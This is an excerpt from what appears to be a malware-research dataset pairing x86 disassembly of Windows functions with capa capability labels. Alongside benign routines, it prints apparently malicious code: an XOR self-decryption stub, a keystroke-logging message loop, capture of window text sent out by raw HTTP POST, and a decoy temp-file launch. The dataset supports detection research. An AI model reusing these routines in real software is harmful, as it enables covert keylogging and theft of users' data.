joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5493d0
Capabilities:
Get number of processors

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x60fade
mov eax, dword fs:[0]
push eax
sub esp, 8
mov eax, dword [0x6790c0]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
mov ecx, dword [ebp - 0x10]
call fcn.00421190
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
mov dword [eax], vtable.CMFCToolBarButton.0
mov ecx, dword [ebp - 0x10]
add ecx, 0x2c
call fcn.00401d90
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x10]
add ecx, 0x30
call fcn.00401d90
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x10]
add ecx, 0x54
call fcn.006033a0
mov ecx, dword [ebp - 0x10]
add ecx, 0x64
call fcn.00603170
mov ecx, dword [ebp - 0x10]
call fcn.00549560
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp + 0x18]
mov dword [ecx + 0x3c], edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + 8]
mov dword [eax + 0x20], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0x14]
mov dword [edx + 4], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.0054b3b0
cmp dword [ebp + 0x10], 0
jne 0x549484
mov dword [ebp - 0x14], 0x61e834
jmp 0x54948a
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x2c
call fcn.00401350
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x20], 0
je 0x549542
mov edx, dword [ebp - 0x10]
cmp dword [edx + 0x3c], 0
jne 0x549542
mov eax, dword [ebp - 0x10]
cmp dword [eax + 4], 0
je 0x549500
mov ecx, dword [ebp - 0x10]
cmp dword [ecx + 0x38], 0xffffffff
je 0x5494e3
push 1
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x38]
push eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x20]
push edx
call fcn.004e1bd0
mov ecx, eax
call fcn.004e1d50
jmp 0x5494fe
push 1
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x20]
push ecx
call fcn.004e1bd0
mov ecx, eax
call fcn.004e1dc0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x38], eax
jmp 0x549542
mov eax, dword [ebp - 0x10]
cmp dword [eax + 0x34], 0xffffffff
je 0x549527
push 0
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax + 0x20]
push ecx
call fcn.004e1bd0
mov ecx, eax
call fcn.004e1d50
jmp 0x549542
push 0
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x20]
push eax
call fcn.004e1bd0
mov ecx, eax
call fcn.004e1dc0
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x34], eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret 0x14
Function at 0x5d84a0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x6790c0]
jne 0x5d84aa
repz ret
jmp fcn.005ea060
Function at 0x40633a
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
push esi
mov esi, 0x104
lea eax, [ebp - 0x120]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
cmp eax, esi
pop esi
jbe 0x40635e
xor eax, eax
test eax, eax
je 0x406370
cmp byte [ebp + eax - 0x121], 0x5c
je 0x406370
xor ecx, ecx
jmp 0x406373
xor ecx, ecx
inc ecx
push dword [ebp + 8]
lea ecx, [ecx + 0x40a014]
lea eax, [ebp + eax - 0x120]
push ecx
push str._s_s.dll
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x120]
push 8
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
leave
ret 4

Function at 0x40645f
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
cmp dword [0x42ce04], 0
push esi
jne 0x406496
xor ecx, ecx
push 8
mov eax, ecx
pop esi
mov edx, eax
and dl, 1
neg dl
sbb edx, edx
and edx, 0xedb88320
shr eax, 1
xor eax, edx
dec esi
jne 0x406470
mov dword [ecx*4 + 0x42ce00], eax
inc ecx
cmp ecx, 0x100
jl 0x40646b
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 8]
test edx, edx
not eax
jbe 0x4064c7
mov ecx, dword [esp + 0xc]
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x42ce00]
xor eax, esi
inc ecx
dec edx
jne 0x4064a9
pop edi
not eax
pop esi
ret 0xc

Function at 0x8e118c
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e1192
pop ebp
sub ebp, 6
sub ebp, 0x4e118c
jmp 0x8e11f0
jmp 0x8e11f9
mov eax, 0x4e118c
add eax, ebp
add eax, 0x93
mov ecx, 0x631
mov edx, 0x95f7692a
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e1210
jmp 0x8e1223
inc eax
push 0x42
sub bh, byte [edx]
sub ch, byte [edx]
inc edx
sub ah, dh
push es
sub ch, byte [ebx - 0x38e54a26]
pushal
stosd dword es:[edi], eax
fidiv dword [ebp + 0x1960c71a]
ljmp 0x6e7b
Function at 0x401460
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401479
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4014b4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4014b0
lea ebx, [ebx]
cmp esi, edx
jae 0x4014b4
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
dec ecx
jne 0x4014a0
cmp esi, edx
jb 0x4014bb
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x402090
Capabilities:
Connect socket
Initialize winsock library
Resolve dns
Send data
Send data on socket
Send http request
Send http request with host header

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415c0b
mov eax, dword fs:[0]
push eax
sub esp, 0xcb4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, edx
push ecx
lea ecx, [ebp - 0xb18]
mov dword [ebp - 0xb18], 0
call fcn.00404620
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xb14]
push esi
mov dword [ebp - 0xb14], 0
call fcn.00404620
lea eax, [ebp - 0xcb8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x402235
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40222f
mov ecx, dword [ebp - 0xb18]
lea eax, [ebp - 0xcbc]
push eax
lea eax, [ebp - 0x310]
push eax
lea edx, [ebp - 0x110]
call fcn.00401fd0
add esp, 8
test eax, eax
je 0x40222f
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
push dword [ebp - 0xcbc]
mov esi, eax
mov eax, 2
mov word [ebp - 0xb28], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xb26], ax
mov eax, dword [esi + 0xc]
push 0x10
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xb24], eax
lea eax, [ebp - 0xb28]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x40222f
mov esi, dword [sym.imp.WS2_32.dll_send]
push eax
push 5
push str.POST
push edi
call esi
lea ecx, [ebp - 0x310]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4021c0
push 0
sub ecx, edx
lea eax, [ebp - 0x310]
push ecx
push eax
push edi
call esi
mov eax, dword [ebp - 0xb14]
push eax
push dword [eax - 0xc]
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0xb10]
push str._HTTP_1.1_r_nHost:_s_r_nContent_Type:application_x_www_form_urlencoded_r_nContent_Length:_d_r_nConnection:close_r_n_r_n_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [ebp - 0xb10]
add esp, 0x14
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x402205
push 0
sub ecx, edx
lea eax, [ebp - 0xb10]
push ecx
push eax
push edi
call esi
push edi
call dword [sym.imp.WS2_32.dll_closesocket]
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov edi, 1
jmp 0x402237
call dword [sym.imp.WS2_32.dll_WSACleanup]
xor edi, edi
mov edx, dword [ebp - 0xb14]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lea ecx, [edx + 0xc]
lock xadd dword [ecx], eax
dec eax
test eax, eax
jg 0x402259
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
mov ebx, dword [ebp - 0xb18]
add ebx, 0xfffffff0
lea eax, [ebx + 0xc]
lock xadd dword [eax], esi
dec esi
test esi, esi
jg 0x40227d
mov ecx, dword [ebx]
push ebx
mov edx, dword [ecx]
call dword [edx + 4]
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
Function at 0x4022a0
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movdqa xmm0, xmmword [0x41d8d0]
push ebx
push esi
push edi
movdqu xmmword [ebp - 0x28], xmm0
mov esi, edx
mov edi, ecx
movdqa xmm0, xmmword [0x41d8e0]
push 0
movdqu xmmword [ebp - 0x18], xmm0
mov dword [ebp - 8], 0x5a595857
mov byte [ebp - 4], 0
call fcn.0040a336
push eax
call fcn.0040a041
mov ebx, dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
call fcn.0040a020
cdq
mov ecx, 0x24
idiv ecx
movsx eax, byte [ebp + edx - 0x28]
push eax
call fcn.0040a020
cdq
mov ecx, 0x24
idiv ecx
movsx eax, byte [ebp + edx - 0x28]
push eax
call fcn.0040a020
cdq
mov ecx, 0x24
idiv ecx
movsx eax, byte [ebp + edx - 0x28]
push eax
call fcn.0040a020
cdq
mov ecx, 0x24
idiv ecx
movsx eax, byte [ebp + edx - 0x28]
push eax
call fcn.0040a020
cdq
mov ecx, 0x24
idiv ecx
movsx eax, byte [ebp + edx - 0x28]
push eax
push edi
push str._s_c_c_c_c_c.tmp
push esi
call ebx
add esp, 0x20
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4022e8
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402650
Capabilities:
Get common file path
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov edi, dword [ebp + 8]
call fcn.00403470
mov esi, dword [ebp + 0x14]
test esi, esi
je 0x402679
call fcn.004033a0
push str.MDSXgsoiZt5FOLpnSXEZGbuDABFghrwMbs
push 0
push 0
call dword [0x4221f8]
mov dword [0x4221b4], eax
call dword [0x4221cc]
cmp eax, 0xb7
jne 0x4026ba
push dword [0x4221b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret 0x10
test esi, esi
je 0x40273a
push dword [0x4221b4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4026a6
lea eax, [ebp - 0x130]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea edx, [ebp - 0x130]
mov ecx, edx
call fcn.004022a0
push 0x104
lea eax, [ebp - 0x234]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x234]
push eax
call dword [0x4221d8]
push 0
lea eax, [ebp - 0x130]
push eax
call dword [0x4221f4]
pop edi
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret 0x10
lea eax, [ebp - 0x2c]
push str.M2VJY.tmp
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
mov ecx, edi
call fcn.00402880
mov ecx, edi
call fcn.00402900
test eax, eax
je 0x4026a6
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x250]
push 0
push 0
push 0
push eax
call esi
test eax, eax
je 0x402838
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SetFocus]
lea esp, [esp]
mov eax, dword [ebp - 0x250]
mov ecx, dword [0x422200]
cmp eax, ecx
jne 0x402850
mov eax, dword [ebp - 0x24c]
cmp eax, 0x200
je 0x402820
cmp eax, 0x204
je 0x402820
cmp eax, 0x203
je 0x402820
cmp eax, 0x100
jne 0x4027d5
push 0x11
call edi
test ax, ax
js 0x402820
mov eax, dword [ebp - 0x24c]
cmp eax, 0x201
jne 0x4027ef
cmp dword [ebp - 0x248], 0
je 0x4027ef
mov dword [ebp - 0x248], 0
lea eax, [ebp - 0x250]
push eax
push dword [0x4221f0]
call dword [sym.imp.USER32.dll_IsDialogMessageW]
test eax, eax
jne 0x402820
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x250]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
push 0
push 0
push 0
lea eax, [ebp - 0x250]
push eax
call esi
test eax, eax
jne 0x402790
pop ebx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x248]
xor ecx, ebp
pop edi
pop esi
call fcn.00409708
mov esp, ebp
pop ebp
ret 0x10
cmp eax, dword [0x4221c4]
jne 0x4027ef
cmp dword [ebp - 0x24c], 0x100
jne 0x4027ef
cmp dword [ebp - 0x248], 9
jne 0x4027ef
push ecx
call ebx
jmp 0x402820
Function at 0x403160
Capabilities:
Get graphical window text
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4e4
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x2c]
push 0x14
push eax
push dword [0x4221c4]
mov dword [ebp - 0x4e4], 0x64
call esi
push 0x64
lea eax, [ebp - 0xf8]
push eax
push dword [0x422200]
call esi
lea eax, [ebp - 0xf8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 2
jl 0x403264
push 0
push dword [0x4221f0]
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x3000
lea eax, [ebp - 0x4e4]
push eax
lea eax, [ebp - 0xf8]
push eax
push eax
call dword [sym.imp.SHLWAPI.dll_UrlEscapeW]
lea eax, [ebp - 0xf8]
push eax
lea eax, [ebp - 0x2c]
push eax
push dword [0x42244c]
lea eax, [ebp - 0x4e0]
push dword [0x422438]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [0x42243c]
lea edx, [ebp - 0x4e0]
add esp, 0x14
call fcn.00402090
mov eax, dword [0x422450]
cmp eax, 1
jge 0x40327f
push dword [0x422448]
inc eax
push 0x7d6
push dword [0x4221f0]
mov dword [0x422450], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
mov esi, dword [sym.imp.USER32.dll_SetWindowTextW]
push eax
call esi
push 0x41b784
push dword [0x422200]
call esi
push 5
push dword [0x4221f0]
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [0x422200]
call dword [sym.imp.USER32.dll_SetFocus]
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
mov eax, dword [0x42221c]
mov dword [0x422450], 0
test eax, eax
je 0x4032b4
push eax
push 0
push 0x800
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x4032b4
push esi
call dword [0x4221e0]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [0x422220], 0
jne 0x4032e1
push 0x4024f0
push dword [0x422210]
mov dword [0x422218], 0x4032f0
push 0
push 0
call dword [sym.imp.USER32.dll_SetTimer]
mov dword [0x422220], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00409708
mov esp, ebp
pop ebp
ret

Function at 0x4033a0
Capabilities:
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415c80
mov eax, dword fs:[0]
push eax
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
lea eax, [ebp - 0x21c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.SBQPWMKO.jpg
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x21c]
mov dword [ebp - 4], 0
push eax
call fcn.00402370
add esp, 4
test eax, eax
je 0x403450
push 0x41e288
lea eax, [ebp - 0x220]
mov dword [ebp - 0x220], 0x108
push eax
call fcn.0040da05
push 1
push 0x41b784
push 0x41b784
lea eax, [ebp - 0x21c]
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, 0x403450
ret
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
Function at 0x406e00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
test edx, edx
jne 0x406e0b
xor eax, eax
pop ebp
ret
push esi
mov esi, dword [ebp + 8]
not ecx
cmp esi, 8
jb 0x406ed5
push edi
mov edi, esi
shr edi, 3
movzx eax, byte [edx]
sub esi, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 2]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 3]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 4]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 5]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 6]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
movzx eax, byte [edx + 7]
add edx, 8
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
dec edi
jne 0x406e20
pop edi
test esi, esi
je 0x406efa
lea esp, [esp]
movzx eax, byte [edx]
lea edx, [edx + 1]
xor eax, ecx
shr ecx, 8
and eax, 0xff
xor ecx, dword [eax*4 + 0x41cf80]
dec esi
jne 0x406ee0
not ecx
mov eax, ecx
pop esi
pop ebp
ret

Function at 0x406f10
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push esi
push edi
mov edi, ecx
movsx eax, dl
mov esi, dword [edi]
xor eax, esi
and eax, 0xff
shr esi, 8
mov eax, dword [eax*4 + 0x41cf80]
xor eax, esi
mov dword [edi], eax
movzx eax, al
add eax, dword [edi + 4]
imul ecx, eax, 0x8088405
mov eax, dword [edi + 8]
inc ecx
mov dword [edi + 4], ecx
shr ecx, 0x18
xor ecx, eax
shr eax, 8
and ecx, 0xff
xor eax, dword [ecx*4 + 0x41cf80]
mov dword [edi + 8], eax
pop edi
pop esi
ret

Function at 0x406f60
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push ebx
push esi
mov bl, dl
mov edx, ecx
push edi
mov edi, dword [edx + 8]
mov esi, edi
mov ecx, dword [edx]
and esi, 0xfffd
or esi, 2
mov eax, esi
xor eax, 1
imul eax, esi
shr eax, 8
xor bl, al
movsx eax, bl
xor eax, ecx
shr ecx, 8
and eax, 0xff
mov eax, dword [eax*4 + 0x41cf80]
xor eax, ecx
mov dword [edx], eax
movzx eax, al
add eax, dword [edx + 4]
imul eax, eax, 0x8088405
inc eax
mov dword [edx + 4], eax
shr eax, 0x18
xor eax, edi
shr edi, 8
and eax, 0xff
xor edi, dword [eax*4 + 0x41cf80]
mov al, bl
mov dword [edx + 8], edi
pop edi
pop esi
pop ebx
ret
Function at 0x407690
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov ebx, edx
mov esi, ebx
mov eax, ecx
imul esi, dword [ebp + 8]
mov dword [ebp - 8], eax
cmp byte [edi], 0
je 0x4076d6
push 0
lea ecx, [ebp - 8]
push ecx
push esi
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4076d1
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
jmp 0x4076fe
mov edx, dword [edi + 0x1c]
mov ecx, dword [edi + 0x18]
lea eax, [edx + esi]
cmp eax, ecx
jbe 0x4076e7
mov esi, ecx
sub esi, edx
mov ecx, dword [edi + 0x14]
push esi
add ecx, edx
push ecx
push dword [ebp - 8]
call fcn.0040b2f0
add esp, 0xc
mov eax, esi
add dword [edi + 0x1c], esi
mov ecx, dword [ebp - 4]
xor edx, edx
pop edi
div ebx
pop esi
xor ecx, ebp
pop ebx
call fcn.00409708
mov esp, ebp
pop ebp
ret

Function at 0x407720
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
mov ebx, edx
push edi
mov dword [ebp - 0xc], ebx
mov edi, 1
cmp byte [esi], 0
je 0x407765
push 0
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 5]
push eax
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407760
mov byte [esi + 8], 1
mov edi, dword [ebp - 0xc]
jmp 0x407792
mov ebx, dword [esi + 0x1c]
mov ecx, dword [esi + 0x18]
lea eax, [ebx + 1]
cmp eax, ecx
jbe 0x407776
mov edi, ecx
sub edi, ebx
mov eax, dword [esi + 0x14]
add eax, ebx
push edi
push eax
lea eax, [ebp - 5]
push eax
call fcn.0040b2f0
lea eax, [ebx + edi]
add esp, 0xc
mov ebx, dword [ebp - 0xc]
mov dword [esi + 0x1c], eax
cmp edi, 1
jne 0x4077b0
movzx eax, byte [ebp - 5]
mov dword [ebx], eax
pop edi
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
cmp byte [esi], 0
je 0x40779d
cmp byte [esi + 8], 0
je 0x40779d
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409708
mov esp, ebp
pop ebp
ret
Function at 0x407920
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
mov edi, ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
cmp byte [edi], 0
je 0x407969
cmp byte [edi + 1], 0
je 0x407957
push 2
push 0
push 0
push dword [edi + 4]
call ecx
mov ecx, dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x40796f
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
mov eax, dword [edi + 0x18]
mov dword [edi + 0x1c], eax
cmp byte [edi], 0
push ebx
je 0x407994
cmp byte [edi + 1], 0
je 0x40798d
push 1
push 0
push 0
push dword [edi + 4]
call ecx
mov ebx, eax
sub ebx, dword [edi + 0xc]
jmp 0x407997
xor ebx, ebx
mov dword [ebp - 0x14], ebx
jmp 0x4079a6
mov ebx, dword [edi + 0x1c]
mov eax, 0xffff
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], eax
cmp ebx, eax
jae 0x4079a9
mov dword [ebp - 0x10], ebx
push esi
push 0x404
call fcn.0040a3c7
mov esi, eax
add esp, 4
test esi, esi
jne 0x4079d1
pop esi
pop ebx
or eax, 0xffffffff
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409708
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 0x10]
mov eax, 4
mov dword [ebp - 0xc], 0xffffffff
cmp ecx, eax
jbe 0x407ad8
jmp 0x4079f0
add eax, 0x400
cmp eax, ecx
mov edx, eax
mov eax, 0x404
cmova edx, ecx
mov ecx, ebx
sub ecx, edx
mov dword [ebp - 0x20], edx
sub ebx, ecx
mov dword [ebp - 0x1c], ecx
cmp ebx, 0x404
cmova ebx, eax
cmp byte [edi], 0
je 0x407a3a
cmp byte [edi + 1], 0
je 0x407ad8
mov eax, dword [edi + 0xc]
push 0
push 0
add eax, ecx
push eax
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x407a3d
mov dword [edi + 0x1c], ecx
cmp byte [edi], 0
mov ecx, ebx
mov dword [ebp - 0x18], ebx
je 0x407a65
push 0
lea eax, [ebp - 8]
push eax
push ebx
push esi
push dword [edi + 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x407a60
mov byte [edi + 8], 1
mov eax, dword [ebp - 8]
jmp 0x407a8e
mov edx, dword [edi + 0x1c]
lea eax, [edx + ebx]
cmp eax, dword [edi + 0x18]
jbe 0x407a78
mov ecx, dword [edi + 0x18]
sub ecx, edx
mov dword [ebp - 0x18], ecx
push ecx
mov ecx, dword [edi + 0x14]
add ecx, edx
push ecx
push esi
call fcn.0040b2f0
mov eax, dword [ebp - 0x18]
add esp, 0xc
add dword [edi + 0x1c], eax
xor edx, edx
div ebx
cmp eax, 1
jne 0x407ad8
lea eax, [ebx - 3]
test eax, eax
js 0x407ac0
mov edi, edi
dec eax
cmp byte [eax + esi], 0x50
jne 0x407abc
cmp byte [eax + esi + 1], 0x4b
jne 0x407abc
cmp byte [eax + esi + 2], 5
jne 0x407abc
cmp byte [eax + esi + 3], 6
je 0x407af5
test eax, eax
jns 0x407aa0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x407ad8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x10]
mov ebx, dword [ebp - 0x14]
cmp eax, ecx
jb 0x4079f0
push esi
call fcn.00409835
mov ecx, dword [ebp - 4]
add esp, 4
mov eax, dword [ebp - 0xc]
xor ecx, ebp
pop esi
pop ebx
pop edi
call fcn.00409708
mov esp, ebp
pop ebp
ret
add eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
jmp 0x407ac3
Function at 0x408a20
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, ecx
cmp dword [edi], 0
jne 0x408ac6
cmp dword [edi + 4], 0xffffffff
jne 0x408ac6
push esi
lea esi, [edi + 0x244]
push esi
push 0x103
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esi + 2]
nop
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x408a50
sub esi, ecx
sar esi, 1
movzx eax, word [edi + esi*2 + 0x242]
cmp eax, 0x5c
je 0x408a7c
cmp eax, 0x2f
je 0x408a7c
mov dword [edi + esi*2 + 0x244], 0x2f
push 0x20
call fcn.0040a5f7
mov ecx, dword [ebp + 8]
add esp, 4
mov dword [eax + 0x14], ecx
mov ecx, dword [ebp + 0xc]
mov dword [eax + 0x18], ecx
mov ecx, eax
mov word [eax], 0x100
mov byte [eax + 0x10], 0
mov dword [eax + 0x1c], 0
mov dword [eax + 0xc], 0
call fcn.00407b00
xor ecx, ecx
mov dword [edi], eax
test eax, eax
mov edx, 0x200
pop esi
cmove ecx, edx
mov eax, ecx
pop edi
pop ebp
